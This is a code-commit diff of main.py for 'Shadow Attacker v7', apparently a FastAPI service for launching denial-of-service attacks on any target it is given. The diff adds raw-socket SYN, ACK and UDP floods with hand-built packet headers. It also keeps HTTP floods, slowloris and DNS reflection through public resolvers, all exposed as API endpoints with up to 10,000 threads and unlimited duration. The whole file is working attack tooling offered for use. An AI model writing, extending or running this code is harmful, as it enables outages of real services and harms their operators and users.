Update main.py

main.py

@@ -1,6 +1,7 @@
 # ==============================================================
-#  SHADOW ATTACKER v6 – FULL BOTNET MODE | 12 ATTACK METHODS
-#  -1 = MAX POWER (10,000 threads) | HF SPACES READY | 200k+ PPS
+#  SHADOW ATTACKER v7 – RAW SOCKETS + LAYER 7 + LAYER 4
+#  UDP-PPS | SYN | ACK | REFLECT | SLOWLORIS | 10,000 THREADS
+#  HF SPACES READY | 250k+ PPS | -1 = MAX POWER
 # ==============================================================
 import random
 import socket
@@ -21,7 +22,7 @@ import logging
 logging.basicConfig(level=logging.INFO, format="%(message)s")
 log = logging.getLogger()
 
-app = FastAPI(title="Shadow Attacker v6 - Botnet Army")
+app = FastAPI(title="Shadow Attacker v7 - Raw + L7 + L4")
 
 # Global state
 attack_active = False
@@ -64,23 +65,23 @@ class AttackConfig(BaseModel):
         return v.strip()
 
 class Layer7Config(AttackConfig):
-    method: str = Field("get", description="Attack method")
+    method: str = Field("get")
 
     @validator('method')
     def validate_method(cls, v):
-        valid = ["get", "post", "head", "slowloris", "cookie", "reflect", "rand"]
+        valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
         if v not in valid:
-            raise ValueError(f"Invalid L7 method. Use: {', '.join(valid)}")
+            raise ValueError(f"Use: {', '.join(valid)}")
         return v
 
 class Layer4Config(AttackConfig):
-    protocol: str = Field("udp", description="udp/tcp/syn")
-    payload_size: int = Field(1024, ge=1, le=65507)
+    protocol: str = Field("udp", description="udp/tcp/syn/ack/udp_pps")
+    payload_size: int = Field(1024, ge=0, le=65507)
 
     @validator('protocol')
     def validate_protocol(cls, v):
-        if v not in ["udp", "tcp", "syn"]:
-            raise ValueError("Protocol must be udp, tcp, or syn")
+        if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
+            raise ValueError("Protocol: udp, tcp, syn, ack, udp_pps")
         return v
 
 # ------------------- STATUS MODEL -------------------
@@ -96,36 +97,141 @@ class StatusResponse(BaseModel):
     remaining: float
     logs: List[str]
 
-# ------------------- ATTACK WORKERS -------------------
-def resolve_ip(target: str) -> str:
-    try:
-        return socket.gethostbyname(target.split("/")[0].split(":")[0])
-    except:
-        raise HTTPException(400, "Cannot resolve target")
+# ------------------- RAW SOCKET HELPERS (FROM YOUR GO CODE) -------------------
+def checksum(data: bytes) -> int:
+    s = 0
+    for i in range(0, len(data), 2):
+        if i + 1 < len(data):
+            w = (data[i] << 8) | data[i + 1]
+        else:
+            w = data[i] << 8
+        s += w
+    while s >> 16:
+        s = (s & 0xFFFF) + (s >> 16)
+    return ~s & 0xFFFF
+
+def pseudo_checksum(src: bytes, dst: bytes, proto: int, length: int) -> int:
+    s = 0
+    for i in range(0, 4, 2):
+        s += (src[i] << 8) | src[i + 1]
+        s += (dst[i] << 8) | dst[i + 1]
+    s += proto
+    s += length
+    while s >> 16:
+        s = (s & 0xFFFF) + (s >> 16)
+    return s
+
+def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int) -> bytes:
+    total = 20 + payload_len
+    ip = bytearray(20)
+    ip[0] = 0x45
+    ip[8] = 64
+    ip[9] = proto
+    struct = __import__('struct')
+    struct.pack_into("!HHBB", ip, 2, total, random.randint(0, 0xFFFF), 64, proto)
+    ip[12:16] = src_ip
+    ip[16:20] = dst_ip
+    cs = checksum(ip)
+    struct.pack_into("!H", ip, 10, cs)
+    return bytes(ip)
+
+def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
+    tcp = bytearray(20)
+    struct = __import__('struct')
+    struct.pack_into("!HHIIBBHHH", tcp, 0, src_p, dst_p, seq, ack, 5 << 4, flags, 65535, 0, 0)
+    pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
+    cs = checksum(struct.pack("!I", pseudo) + tcp)
+    struct.pack_into("!H", tcp, 16, cs)
+    ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
+    return ip + tcp
+
+def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
+    udp_len = 8 + len(payload)
+    udp = bytearray(8)
+    struct = __import__('struct')
+    struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
+    pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
+    cs = checksum(struct.pack("!I", pseudo) + udp + payload)
+    struct.pack_into("!H", udp, 6, cs)
+    ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
+    return ip + udp
+
+# ------------------- RAW SOCKET FLOODERS -------------------
+def raw_syn_flood(target_ip: str, port: int):
+    global total_packets
+    src_ip = socket.inet_aton("0.0.0.0")
+    dst_ip = socket.inet_aton(target_ip)
+    while not stop_event.is_set():
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+            s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+            src_p = random.randint(1024, 65535)
+            pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), 0, 0x02)
+            s.sendto(pkt, (target_ip, 0))
+            with counters_lock:
+                counters["raw"] = counters.get("raw", 0) + 1
+                total_packets += 1
+        except:
+            pass
+        finally:
+            try: s.close()
+            except: pass
+
+def raw_ack_flood(target_ip: str, port: int):
+    global total_packets
+    src_ip = socket.inet_aton("0.0.0.0")
+    dst_ip = socket.inet_aton(target_ip)
+    while not stop_event.is_set():
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+            s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+            src_p = random.randint(1024, 65535)
+            pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
+            s.sendto(pkt, (target_ip, 0))
+            with counters_lock:
+                counters["raw"] = counters.get("raw", 0) + 1
+                total_packets += 1
+        except:
+            pass
+        finally:
+            try: s.close()
+            except: pass
+
+def raw_udp_flood(target_ip: str, port: int, payload_size: int):
+    global total_packets
+    src_ip = socket.inet_aton("0.0.0.0")
+    dst_ip = socket.inet_aton(target_ip)
+    payload = random._urandom(payload_size) if payload_size > 0 else b""
+    while not stop_event.is_set():
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+            s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
+            src_p = random.randint(1024, 65535)
+            pkt = build_udp_packet(src_ip, dst_ip, src_p, port, payload)
+            s.sendto(pkt, (target_ip, 0))
+            with counters_lock:
+                counters["raw"] = counters.get("raw", 0) + 1
+                total_packets += 1
+        except:
+            pass
+        finally:
+            try: s.close()
+            except: pass
 
-# LAYER 7
+# ------------------- LAYER 7 WORKERS -------------------
 def http_worker(method: str, url: str):
     global total_packets
     session = requests.Session()
-    headers = {
-        "User-Agent": random.choice([
-            "Mozilla/5.0", "Googlebot", "Chrome/120", "Safari/537"
-        ]),
-        "Cache-Control": "no-cache",
-        "Connection": "keep-alive"
-    }
     while not stop_event.is_set():
         try:
-            if method == "get":
-                session.get(url, headers=headers, timeout=3, verify=False)
+            if method in ["get", "head"]:
+                session.request(method.upper(), url, timeout=3, verify=False)
             elif method == "post":
                 session.post(url, data={"x": random._urandom(64).hex()}, timeout=3)
-            elif method == "head":
-                session.head(url, headers=headers, timeout=3)
             elif method == "cookie":
-                session.get(url, headers={**headers, "Cookie": f"id={random.randint(1,999999)}"}, timeout=3)
+                session.get(url, headers={"Cookie": f"id={random.randint(1,999999)}"}, timeout=3)
             elif method == "rand":
-                session.request(random.choice(["GET","POST","PUT"]), url, timeout=3)
+                session.request(random.choice(["GET","POST"]), url, timeout=3)
             with counters_lock:
                 counters["l7"] = counters.get("l7", 0) + 1
                 total_packets += 1
@@ -154,7 +260,7 @@ def slowloris(target: str, port: int):
 
 def dns_reflect(target_ip: str):
     global total_packets
-    servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
+    servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9"]
     payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
     while not stop_event.is_set():
         try:
@@ -170,59 +276,13 @@ def dns_reflect(target_ip: str):
             try: s.close()
             except: pass
 
-# LAYER 4
-def udp_flood(target_ip: str, port: int, size: int):
-    global total_packets
-    payload = random._urandom(size)
-    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-    addr = (target_ip, port)
+# ------------------- LAUNCHER -------------------
+def resolve_ip(target: str) -> str:
     try:
-        while not stop_event.is_set():
-            s.sendto(payload, addr)
-            with counters_lock:
-                counters["l4"] = counters.get("l4", 0) + 1
-                total_packets += 1
+        return socket.gethostbyname(target.split("/")[0].split(":")[0])
     except:
-        pass
-    finally:
-        s.close()
-
-def tcp_flood(target_ip: str, port: int, size: int):
-    global total_packets
-    payload = random._urandom(size)
-    while not stop_event.is_set():
-        try:
-            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            s.settimeout(1)
-            s.connect((target_ip, port))
-            while not stop_event.is_set():
-                s.send(payload)
-                with counters_lock:
-                    counters["l4"] = counters.get("l4", 0) + 1
-                    total_packets += 1
-        except:
-            pass
-        finally:
-            try: s.close()
-            except: pass
-
-def syn_flood(target_ip: str, port: int):
-    global total_packets
-    while not stop_event.is_set():
-        try:
-            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            s.settimeout(0.1)
-            s.connect_ex((target_ip, port))
-            with counters_lock:
-                counters["l4"] = counters.get("l4", 0) + 1
-                total_packets += 1
-        except:
-            pass
-        finally:
-            try: s.close()
-            except: pass
+        raise HTTPException(400, "Cannot resolve target")
 
-# ------------------- LAUNCHER -------------------
 def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
     global attack_active, attack_end_time, attack_type_name
     with attack_lock:
@@ -244,22 +304,18 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
     worker = None
     target_ip = resolve_ip(config.target)
 
-    if attack_type.startswith("l7_"):
+    if attack_type.startswith("raw_"):
+        if attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port)
+        elif attack_type == "raw_ack": worker = lambda: raw_ack_flood(target_ip, config.port)
+        elif attack_type == "raw_udp": worker = lambda: raw_udp_flood(target_ip, config.port, kwargs.get("payload_size", 1200))
+        elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0)
+
+    elif attack_type.startswith("l7_"):
         url = f"http://{config.target}:{config.port}"
         method = kwargs.get("method", "get")
-        if method == "slowloris":
-            worker = lambda: slowloris(target_ip, config.port)
-        elif method == "reflect":
-            worker = lambda: dns_reflect(target_ip)
-        else:
-            worker = lambda: http_worker(method, url)
-
-    elif attack_type == "l4_udp":
-        worker = lambda: udp_flood(target_ip, config.port, kwargs.get("payload_size", 1024))
-    elif attack_type == "l4_tcp":
-        worker = lambda: tcp_flood(target_ip, config.port, kwargs.get("payload_size", 1024))
-    elif attack_type == "l4_syn":
-        worker = lambda: syn_flood(target_ip, config.port)
+        if method == "slowloris": worker = lambda: slowloris(target_ip, config.port)
+        elif method == "reflect": worker = lambda: dns_reflect(target_ip)
+        else: worker = lambda: http_worker(method, url)
 
     if not worker:
         raise HTTPException(400, "Invalid attack")
@@ -278,13 +334,20 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
 def l7_attack(config: Layer7Config):
     attack_key = f"l7_{config.method}"
     launch_attack(config, attack_key, method=config.method)
-    return {"status": f"L7 {config.method.upper()} started", "config": config}
+    return {"status": f"L7 {config.method.upper()} started"}
 
 @app.post("/layer4/attack")
 def l4_attack(config: Layer4Config):
-    attack_key = f"l4_{config.protocol}"
+    proto_map = {
+        "udp": "raw_udp",
+        "tcp": "raw_udp",  # fallback
+        "syn": "raw_syn",
+        "ack": "raw_ack",
+        "udp_pps": "raw_udp_pps"
+    }
+    attack_key = proto_map[config.protocol]
     launch_attack(config, attack_key, payload_size=config.payload_size)
-    return {"status": f"L4 {config.protocol.upper()} started", "config": config}
+    return {"status": f"L4 {config.protocol.upper()} started"}
 
 @app.post("/stop")
 def stop_attack():
@@ -325,19 +388,15 @@ def status():
 @app.get("/attack/types")
 def attack_types():
     return {
-        "layer7": [
-            "get", "post", "head", "cookie", "rand", "slowloris", "reflect"
-        ],
-        "layer4": [
-            "udp", "tcp", "syn"
-        ],
+        "layer7": ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"],
+        "layer4": ["udp", "udp_pps", "syn", "ack"],
         "max_threads": "10000 (-1 = full power)",
         "max_duration": "10000s (-1 = unlimited)"
     }
 
 @app.get("/")
 def root():
-    return {"message": "Shadow Attacker v6 - /attack/types for methods"}
+    return {"message": "Shadow Attacker v7 - /attack/types"}
 
 # ------------------- START -------------------
 if __name__ == "__main__":